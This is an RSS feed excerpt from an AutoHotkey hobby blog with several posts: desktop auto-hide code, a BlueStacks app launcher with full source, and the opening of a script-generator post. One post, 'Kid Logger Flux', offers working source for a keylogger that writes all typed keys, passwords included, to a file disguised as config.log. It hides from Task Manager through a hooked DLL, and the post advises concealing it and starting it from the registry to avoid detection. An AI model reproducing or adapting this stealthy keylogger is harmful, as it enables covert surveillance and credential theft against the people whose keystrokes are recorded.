 Gui, Settings:Add, Text,Section h24 0x200 w300,Delay before hiding the desktop in seconds: 
 Gui, Settings:Add, Edit, w65 x+8
 Gui, Settings:Add, UpDown, vdelay Range3-9999 0x80 gDelayChange, %delay%
 Gui, Settings:Add, Text, h24 0x200 xs w300,Run at Windows start up: 
 Gui, Settings:Add, Checkbox, x+8 vrunState gRunState Checked%runState%
 Gui, Settings:Show, AutoSize, Auto-Hide Desktop Settings
 ControlSend, Edit1, {End},Auto-Hide Desktop Settings
}
ShowDesk(){
 DetectHiddenWindows, on
    id:=WinExist(&quot;ahk_class Shell_TrayWnd&quot;)
    ControlGet,id2,Hwnd,,SysListView321,ahk_class Progman
    If !id2
        ControlGet,id2,Hwnd,,SysListView321,ahk_class WorkerW
 ControlGet,id3,Hwnd,,,ahk_class Button
 If !IsVisible(id)
  WinShow, ahk_id %id%
 If !IsVisible(id2)
  WinShow, ahk_id %id2%
 If !IsVisible(id3)
  WinShow, ahk_id %id3%
}
ToggleDeskIcons(idle_time){
 DetectHiddenWindows, On
    ControlGet,id,Hwnd,,SysListView321,ahk_class Progman
    If !id
        ControlGet,id,Hwnd,,SysListView321,ahk_class WorkerW
 If (A_TimeIdlePhysical &gt;= idle_time)
  {
   If IsVisible(id)
    WinHide, ahk_id %id%
   Return &quot;Desktop icons are hidden.&quot; 
  }
    Else
        {
   If !IsVisible(id)
    WinShow, ahk_id %id%
   Return
        }
}
ToggleTaskbar(idle_time){
 DetectHiddenWindows, on
    id:=WinExist(&quot;ahk_class Shell_TrayWnd&quot;)
 ControlGet,id2,Hwnd,,,ahk_class Button
 If (A_TimeIdlePhysical &gt;= idle_time)
  {
   If IsVisible(id)
    WinHide, ahk_id %id%
   If IsVisible(id2)
    WinHide, ahk_id %id2%
   Return &quot;Taskbar is hidden.&quot; 
  }
    Else
        {
   If !IsVisible(id)
    WinShow, ahk_id %id%
   If !IsVisible(id2)
    WinShow, ahk_id %id2% 
   Return
        }
}
IsVisible(id){
 Return DllCall(&quot;IsWindowVisible&quot;,&quot;UInt&quot;,id)
}
&lt;/pre&gt;
        
        &lt;div class=&quot;MsgBox&quot;&gt;
            &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/11/auto-hide-desktop.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
            &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/11/auto-hide-desktop.html&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;Auto-Hide Desktop&quot;&gt;Tweet&lt;/a&gt; 
              &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
            &lt;/div&gt;
        &lt;/div&gt;       
 &lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2016/11/auto-hide-desktop.html</link><author>noreply@blogger.com (FluxApex)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwCQU1EZwKkW8xhlNGM9-t8VpWdOIR_inN1w-Gl48k1hPEbZJInS0YhR6JgEkO6RdMsgDubACpONfqrzNIBY5eOu3ElmF-HqJqVfBZpZwcGEN6Yae0JFyUjovx0lmuMRBT5ItyZt5TEAwo/s72-c/Capture.PNG" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-1912623819799848087</guid><pubDate>Mon, 14 Nov 2016 02:56:00 +0000</pubDate><atom:updated>2016-11-13T21:05:08.622-06:00</atom:updated><title>BlueStacks Quick App Launcher</title><description> &lt;div id=&quot;BlogBody&quot;&gt;
        &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
        &lt;script&gt;(function(d, s, id) {
            var js, fjs = d.getElementsByTagName(s)[0];
            if (d.getElementById(id)) return;
            js = d.createElement(s); js.id = id;
            js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&amp;appId=315119595244827&quot;;
            fjs.parentNode.insertBefore(js, fjs);
        }(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));
        &lt;/script&gt;
        &lt;div class=&quot;MsgBox&quot;&gt;
            &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/11/bluestacks-quick-app-launcher.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;avertical-align: top;&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
&lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/11/bluestacks-quick-app-launcher.html&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;BlueStacks Launcher&quot;&gt;Tweet&lt;/a&gt;
              &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
            &lt;/div&gt;
        &lt;/div&gt;
        
        &lt;h1&gt;BlueStacks Quick App Launcher&lt;/h1&gt;
        &lt;p&gt;For those that aren&#39;t familiar with BlueStacks (BS) it is an Android emulator for the Windows OS. BS allows you to use Android apps on your Windows computer allowing you to free up your mobile devices and also allows developers to test and create their applications while at their computers.&lt;/p&gt;
&lt;p&gt;There are many things that can be done with BS and different ways it can be used and one feature I like is being able to run user installed apps from shortcuts in a folder. This makes it possible to run specific apps without starting BS first.&lt;/p&gt;
&lt;p&gt;To make running apps even quicker I have created:&lt;/p&gt;
&lt;center&gt;&lt;h2&gt;&lt;span class=&quot;highlight&quot; style=&quot;font-size:22px;&quot;&gt;BlueStacks Quick App Launcher!&lt;/span&gt;&lt;/h2&gt;&lt;/center&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;p&gt;&lt;span class=&quot;highlight&quot;&gt;BlueStacks Quick App Launcher&lt;/span&gt; quickly lists any shortcut found in the BS App Folder and allows you to run any app in the list by selecting the app and either hitting Enter or by clicking the &#39;Start App&#39; button. You can select an app by using the mouse or the directional keys.&lt;/p&gt;
&lt;h2&gt;Images &amp; Screens&lt;/h2&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipyfeYFzRX4gvwXWv0XSy8yVQdPaa8pfdzxoI19CYu0M2wPTSj6iaFoWOQX4JfQFNGaNm8-n9yp14lJdvL24PpRhaW7CFx0IJ1z5c7TOaTZNSjHHhTHn4CUZwcfgD-IR8fj9iP_fwPIXRD/s1600/bs-launcher.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipyfeYFzRX4gvwXWv0XSy8yVQdPaa8pfdzxoI19CYu0M2wPTSj6iaFoWOQX4JfQFNGaNm8-n9yp14lJdvL24PpRhaW7CFx0IJ1z5c7TOaTZNSjHHhTHn4CUZwcfgD-IR8fj9iP_fwPIXRD/s1600/bs-launcher.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiznkckuI_ij7iOSTvYKQQAJ66WwfZfqqpU8fnH0fsLLDgxM9AzMA82g3t_3YGTipB57stTRw9FCrpr95u2xgY_-aYB7t3XVQL4-otatVbQWKdLRAY3YWnErEYemB8JHHEQJZgaviDxPvSQ/s1600/Capture.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiznkckuI_ij7iOSTvYKQQAJ66WwfZfqqpU8fnH0fsLLDgxM9AzMA82g3t_3YGTipB57stTRw9FCrpr95u2xgY_-aYB7t3XVQL4-otatVbQWKdLRAY3YWnErEYemB8JHHEQJZgaviDxPvSQ/s1600/Capture.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

        &lt;h2&gt;Downloads&lt;/h2&gt;
        &lt;div&gt;
         &lt;a class=&quot;bt&quot; href=&quot;https://github.com/Lateralus138/BlueStacks-Quick-App-Launcher/raw/master/BlueStacks%20Quick%20App%20Launcher.exe&quot;&gt;BlueStacks Quick App Launcher - Portable&lt;/a&gt;&lt;a class=&quot;bt&quot; href=&quot;https://github.com/Lateralus138/BlueStacks-Quick-App-Launcher/raw/master/Bluestacks%20Quick%20App%20Launcher.7z&quot;&gt;Source Files&lt;/a&gt;
&lt;br /&gt;
&lt;a class=&quot;bt&quot; href=&quot;https://github.com/Lateralus138/BlueStacks-Quick-App-Launcher&quot; target=&quot;_blank&quot;&gt;Project at GitHub&lt;/a&gt;
        &lt;/div&gt;
&lt;h2&gt;Script - Source&lt;/h2&gt;
&lt;pre class=&quot;MyScripts&quot;&gt;
; List and lauch Android apps in Bluestacks emulator.

; Init
OnMessage(0x200,&quot;WM_MOUSEHOVER&quot;)
OnMessage(0x2a3,&quot;WM_MOUSELEAVE&quot;)
#NoEnv
SendMode Input
SetWorkingDir %A_ScriptDir%
RegRead,dataDir,HKEY_LOCAL_MACHINE\SOFTWARE\BlueStacks,DataDir
RegRead,installDir,HKEY_LOCAL_MACHINE\SOFTWARE\BlueStacks,InstallDir
exeLoc:=installDir &quot;Bluestacks.exe&quot;
If !dataDir
 {
  MsgBox,20,BlueStacks Launcher Error, % &quot;&quot;
   . &quot;BlueStacks has not been found or is not installed properly.`n&quot;
   . &quot;Please install BlueStacks and try again.`n`n&quot;
   . &quot;Would you like to download the official BlueStacks from`n&quot;
   . &quot;their website?&quot;
  IfMsgBox, Yes
   Gosub, Download
  ExitApp
 }
appDir:=dataDir &quot;UserData\Library\My Apps\&quot;
Gosub, GetAppList
If (comboList == &quot;No User Apps&quot;)
 {
  MsgBox,20,BlueStacks Launcher Info, % &quot;&quot;
   . &quot;You have not installed any user apps in BlueStacks.`n&quot;
   . &quot;Would you like to open BlueStacks to install some?&quot;
  IfMsgBox, Yes
   Run, % exeLoc
 }
FileInstall,&lt;Your_Folder_Here&gt;\bs-launcher-button.png, % A_Temp &quot;\bs-launcher-button.png&quot;
FileInstall,,&lt;Your_Folder_Here&gt;\bs-launcher-button-start.png, % A_Temp &quot;\bs-launcher-button-start.png&quot;
; Vars
bsExe:=FileExist(installDir &quot;HD-StartLauncher.exe&quot;)
?installDir &quot;HD-StartLauncher.exe&quot;
:installDir &quot;Bluestacks.exe&quot;
lastList:=GetAppList()
gtitle:=&quot;BlueStacks Quick App Launcher&quot;
buttonL:=A_Temp &quot;\bs-launcher-button.png&quot;
buttonS:=A_Temp &quot;\bs-launcher-button-start.png&quot;
minW:=300

; Build menus, intial loops and guis here
Menu, Tray, NoStandard
Menu, Tray, Add, &amp;Download BlueStacks,Download
Menu, Tray, Add
Menu, Tray, Add, E&amp;xit BlueStacks QAL,GuiClose

Gui, Color, 0xFFFFFF, 0xFEFEFA
Gui, Font, c0x3B5297 s13 , Segoe UI
Gui, Add, Text, w%minW%, Installed user apps in BlueStacks.
Gui, Font, c0x1D1D1D s11
Gui, Add, Combobox, xp y+8 vChoice Choose1 w%minW% 0x401, % GetAppList()
Gui, Show, AutoSize, % gtitle
ControlGetPos,,,cb1w,,Combobox1, % gtitle
Gui, Hide
bWidth:=cb1w
Gui, Add, Picture, w%bWidth% h-1 gButtonStartApp +BackgroundTrans, % buttonL
Gui, Add, Picture, w%bWidth% h-1 y+0 gButtonStartBS +BackgroundTrans, % buttonS
Gui, Show, AutoSize, % gtitle
Gui, +LastFound +HwndMainHwnd
VarSetCapacity(tme,16,0)
NumPut(16,tme,0), NumPut(2,tme,4), NumPut(MainHwnd,tme,8)
GetControls(gtitle)
SetTimer, ReCheck, 3000
Send, {Right}
; End auto execute
Return

; Hotkeys
;!r::Reload
#IfWinActive, BlueStacks Quick App Launcher
~Down::Send, {Down}{Right}
~Up::Send, {Up}{Right}
Enter::Gosub, ButtonStartApp
#IfWinActive
; Functions
#Include, ,&lt;Your_Folder_Here&gt;\WinGuiLib.ahk
WM_MOUSELEAVE(){
 ToolTip
}
WM_MOUSEHOVER(){
 Global
 Local over
 over:=MouseOver(CB1X,CB1Y,CB1X2,CB1Y2)?1
 :0
 If (over == 1){
  ComboMsg()
 }
 If !over {
  ToolTip
  DllCall( &quot;TrackMouseEvent&quot;,&quot;uint&quot;,&amp;tme )
 }
}
GetAppList(){
 fcounter=0
 Global appDir,lnkList
 lnkList:=&quot;&quot;
 Loop, % appDir &quot;*.lnk&quot;
  { 
   If (A_LoopFileExt == &quot;lnk&quot;)
    {
     fcounter++
     If !lnkList
      lnkList:=Object()
     lnkList.Push(A_LoopFileName)
     shortName:=SubStr(lnkList[A_Index],1,StrLen(lnkList[A_Index])-4)
     comboList.=fcounter &quot; - &quot; shortName &quot;|&quot;
    }
  }
 If (comboList != lastList &amp;&amp; comboList)
  comboList:=SubStr(comboList,1,StrLen(comboList)-1)
 Else
  comboList:=&quot;No User Apps&quot;
 Return comboList
}
ComboMsg(){
 Static counter
 counter++
 If mod(counter,2)
  {
   Sleep, 3000
   SetTimer, KillTT, -4500
   ToolTip % &quot;You can press [Enter] to start an app...`n&quot;
      . &quot;This list auto-updates...&quot;
  }
}
; Classes


; Subs
KillTT:
 ToolTip
Return
ButtonStartApp:
 Gui, Submit, NoHide
 index:=SubStr(Choice,1,1)
 Run, % appDir lnkList[index]
 TrayTip, % gtitle &quot; Info&quot;, % &quot;Starting &quot; SubStr(Choice,5)
Return
ButtonStartBS:
 Run, % bsExe
 TrayTip, % gtitle &quot; Info&quot;, Starting BlueStacks...
Return
ReCheck:
 thisList:=GetAppList()
 If (lastList != thisList)
  {
   GuiControl, ,Combobox1,% &quot;|&quot; GetAppList()
   IfWinActive, % gtitle
    {
     ControlFocus,Combobox1, % gtitle
     Sleep, 150
     Send, {Down}{Right}
    }
   Else
    {
     WinActivate,  % gtitle
     ControlFocus,Combobox1, % gtitle
     Sleep, 150
     Send, {Down}{Right}
    }
  }
 lastList:=GetAppList()
Return
GetAppList:
fcounter=0
Loop, % appDir &quot;*.lnk&quot;
 { 
  If (A_LoopFileExt == &quot;lnk&quot;)
   {
    fcounter++
    If !lnkList
     lnkList:=Object()
    lnkList.Push(A_LoopFileName)
    shortName:=SubStr(lnkList[A_Index],1,StrLen(lnkList[A_Index])-4)
    comboList.=fcounter &quot; - &quot; shortName &quot;|&quot;
   }
 }
If comboList
 comboList:=SubStr(comboList,1,StrLen(comboList)-1)
Else
 comboList:=&quot;No User Apps&quot;
Return
Download:
 Run, http://www.bluestacks.com/download.html
Return
GuiClose:
 ExitApp
&lt;/pre&gt;
        
        &lt;div class=&quot;MsgBox&quot;&gt;
            &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/11/bluestacks-quick-app-launcher.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
            &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/11/bluestacks-quick-app-launcher.html&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;BlueStacks Launcher&quot;&gt;Tweet&lt;/a&gt; 
              &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
            &lt;/div&gt;
        &lt;/div&gt;       
 &lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2016/11/bluestacks-quick-app-launcher.html</link><author>noreply@blogger.com (FluxApex)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipyfeYFzRX4gvwXWv0XSy8yVQdPaa8pfdzxoI19CYu0M2wPTSj6iaFoWOQX4JfQFNGaNm8-n9yp14lJdvL24PpRhaW7CFx0IJ1z5c7TOaTZNSjHHhTHn4CUZwcfgD-IR8fj9iP_fwPIXRD/s72-c/bs-launcher.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-4433164471381584860</guid><pubDate>Wed, 28 Sep 2016 17:00:00 +0000</pubDate><atom:updated>2016-09-28T12:03:28.295-05:00</atom:updated><title>Kid Logger Flux</title><description> &lt;div id=&quot;BlogBody&quot;&gt;
        &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
        &lt;script&gt;(function(d, s, id) {
            var js, fjs = d.getElementsByTagName(s)[0];
            if (d.getElementById(id)) return;
            js = d.createElement(s); js.id = id;
            js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&amp;appId=315119595244827&quot;;
            fjs.parentNode.insertBefore(js, fjs);
        }(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));
        &lt;/script&gt;
        &lt;div class=&quot;MsgBox&quot;&gt;
            &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/09/kid-logger-flux.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
&lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/09/kid-logger-flux.html&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;keylogger&quot;&gt;Tweet&lt;/a&gt;
              &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
            &lt;/div&gt;
        &lt;/div&gt;
        
        &lt;h1&gt;Kid Logger Flux V1.0 - Key Logger&lt;/h1&gt;
        &lt;p&gt;Yes, I said it. A key logger. You may have heard about these and similar tools, tools that can log everything you type (yes, your passwords too) and, of course, they get a bad reputation for the damage they can cause. But like any tool they can be used for both good and bad. It all depends on the person using the tool and what they intend to do with it. I, for example, need to watch what my kids are doing on my computers. I know we would all love to trust our children, but any logical, experienced parent knows that this is not always possible; even if you are the best parent. Kids are kids. Kids are curious. Kids do bad things without thinking about the consequences. I know all too well, I was a kid with no structure or rules and even if I had rules there&#39;s was no way anyone was going to make me do anything. I now all too well how bad kids can be.&lt;/p&gt;
        &lt;p&gt;There are a few good parental tools out there and I have nothing against them, but I like to make my own tools and I really don&#39;t need all the extra stuff they provide, I have other tools I have built to do those things and all I needed was to see what things my kids are typing and so today I bring you &lt;span class=&quot;highlight&quot;&gt;Kid Logger Flux&lt;/span&gt; V1.0!
        &lt;/p&gt;
        &lt;p&gt;&lt;span class=&quot;highlight&quot;&gt;Kid Logger Flux&lt;/span&gt; is a very small utility that logs all physically typed keys (key logger) and logs them to a text file located in the programs folder. This utility has no network capabilities and will never connect to anything, anywhere. KLF runs hidden from the task manager and can only be killed with the hotkeys: Control+Shift+Alt+F12 or by shutting down your computer. I have made it hidden because kids are becoming a lot smarter than they used to be and if they learn about the Task Manager they could learn how to kill the process and also see where the program is located so they could remove it. KLF should be put in a folder deep somewhere where your kids will not be likely to look. The log file is named config.log so it is vague and might not attract their attention.&lt;/p&gt;
        &lt;h2&gt;Usage&lt;/h2&gt;
        &lt;ul class=&quot;MyList&quot;&gt;
                &lt;li&gt;Can be ran like any other executable, by double clicking, right-click: Run, or any normal method to start apps at boot. It is not a good idea to put this in the Startup folder in your documents as that might be the first place your kid looks to find it. It is a much better idea to put a startup entry in the registry if you want this to start at boot. More info on starting things at boot with the registry here &lt;a href=&quot;http://www.pctools.com/guides/registry/detail/109/&quot; target=&quot;_blank&quot;&gt;Startup registry info @ PCTOOLS.com&lt;/a&gt;.&amp;#13;&amp;#10;&amp;#13;&amp;#10;&lt;/li&gt;
        &lt;li&gt;To end this program while your computer is just use the Hoteys: Control+Shift+Alt+F12.&amp;#13;&amp;#10;&amp;#13;&amp;#10;&lt;/li&gt;
        &lt;li&gt;View all logged typed text in the config.log file created in the programs folder where you hid it.&amp;#13;&amp;#10;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h2&gt;VirusTotal&lt;/h2&gt;
        &lt;p&gt;VirusTotal only gives two detections (which is awesome) and, of course, they are false-positives.&lt;br /&gt;
         &lt;a href=&quot;https://www.virustotal.com/en/file/ed81fd4f9cb8c0b83e90737d881fd67e2d5d70372c7f430735eeab8156dd5ea2/analysis/1475081086/&quot; target=&quot;_blank&quot;&gt;Virus Total Results&lt;/a&gt;&lt;/p&gt;
        &lt;h2&gt;Downloads&lt;/h2&gt;
        &lt;div&gt;
         &lt;a class=&quot;bt&quot; href=&quot;https://app.box.com/s/bg8l3s0fwawdbyhzou0awuuimay0910p&quot;&gt;Kid Logger Flux 32 Bit&lt;/a&gt;&lt;a class=&quot;bt&quot; href=&quot;https://app.box.com/s/yucwylc2tq0kfg7eya0hz9m12xy9imyj&quot;&gt;Kid Logger Flux 64 Bit&lt;/a&gt;
        &lt;/div&gt;
&lt;h2&gt;Script - Source&lt;/h2&gt;
&lt;pre class=&quot;MyScripts&quot;&gt;
; 
FileInstall, C:\hyde.dll, hyde.dll, 1
#NoTrayIcon
#SingleInstance, Force

; Variables
SetWorkingDir, %A_ScriptDir%

hMod := DllCall(&quot;LoadLibrary&quot;, Str, &quot;hyde.dll&quot;, Ptr)
If (hMod)
{
 hHook := DllCall(&quot;SetWindowsHookEx&quot;, Int, 5, Ptr, DllCall(&quot;GetProcAddress&quot;, Ptr, hMod, AStr, &quot;CBProc&quot;, ptr), Ptr, hMod, Ptr, 0, Ptr)
 If (!hHook)
  ExitApp
}
Else
 ExitApp
Loop { 
 Input, b, V T5
 FileAppend, %b%, %A_WorkingDir%\config.log
}
Return

; Hotkeys
^!+F12::ExitApp

&lt;/pre&gt;
        
        &lt;div class=&quot;MsgBox&quot;&gt;
            &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/09/kid-logger-flux.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
            &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/09/kid-logger-flux.html&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;keylogger&quot;&gt;Tweet&lt;/a&gt; 
              &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
            &lt;/div&gt;
        &lt;/div&gt;       
 &lt;/div&gt;</description><link>https://techmicrocosm.blogspot.com/2016/09/kid-logger-flux.html</link><author>noreply@blogger.com (FluxApex)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-5909577252193704485</guid><pubDate>Tue, 13 Sep 2016 22:06:00 +0000</pubDate><atom:updated>2016-09-14T11:52:28.459-05:00</atom:updated><title>AHK Script Generator</title><description> &lt;div id=&quot;BlogBody&quot;&gt;
        &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
        &lt;script&gt;(function(d, s, id) {
            var js, fjs = d.getElementsByTagName(s)[0];
            if (d.getElementById(id)) return;
            js = d.createElement(s); js.id = id;
            js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&amp;appId=315119595244827&quot;;
            fjs.parentNode.insertBefore(js, fjs);
        }(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));
        &lt;/script&gt;
        &lt;div class=&quot;MsgBox&quot;&gt;
            &lt;div class=&quot;fb-share-button&quot; data-href=&quot;&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
            &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/09/ahk-script-generator.html&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;AutoHotkey,Scripting&quot;&gt;Tweet&lt;/a&gt; 
              &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;h1&gt;AHK Script Generator&lt;/h1&gt;
        &lt;p&gt;If you like AutoHotkey and you make a lot of scripts either for fun or for work then you might sometimes have trouble with keeping your scripts organized. You might also have issues with remembering which old script has a function you want to recycle or which includes to include. One solution I have had is to keep templates for specific types of scripts. For example, I might have a game-template.ahk file or gui-template.xml file which I can just copy and paste into a new file and edit as needed. If you do a lot of scripting then this can be time consuming and so I have written a helpful utility to help generate or import custom AutoHotkey script templates.&lt;/p&gt;
        &lt;p&gt;Today I bring you &lt;span class=&quot;highlight&quot;&gt;AHK Script Generator&lt;/span&gt; V1.0! With a single click you can create date generated AHK script files with a very basic template in any folder of your choice. With just a few clicks you can import your own templates and then with a single click rename and make many duplicates. &lt;/p&gt;
        &lt;h2&gt;Screenshots&lt;/h2&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSyDM7_GS-VOPy-gOSXAYAl2BwMv1VPZeDos9lz9z1_mZmuzY8_0zWQmrIIcr1P_0AEC5jLkgLv3StxeghrvMAu5nugV9C5QbS-kKsVGO2PpQjV9yUuUAQv4IJNZ1zAL8NdhfpUdTny0Iy/s1600/ahksg_screen.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSyDM7_GS-VOPy-gOSXAYAl2BwMv1VPZeDos9lz9z1_mZmuzY8_0zWQmrIIcr1P_0AEC5jLkgLv3StxeghrvMAu5nugV9C5QbS-kKsVGO2PpQjV9yUuUAQv4IJNZ1zAL8NdhfpUdTny0Iy/s320/ahksg_screen.png&quot; width=&quot;100%&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
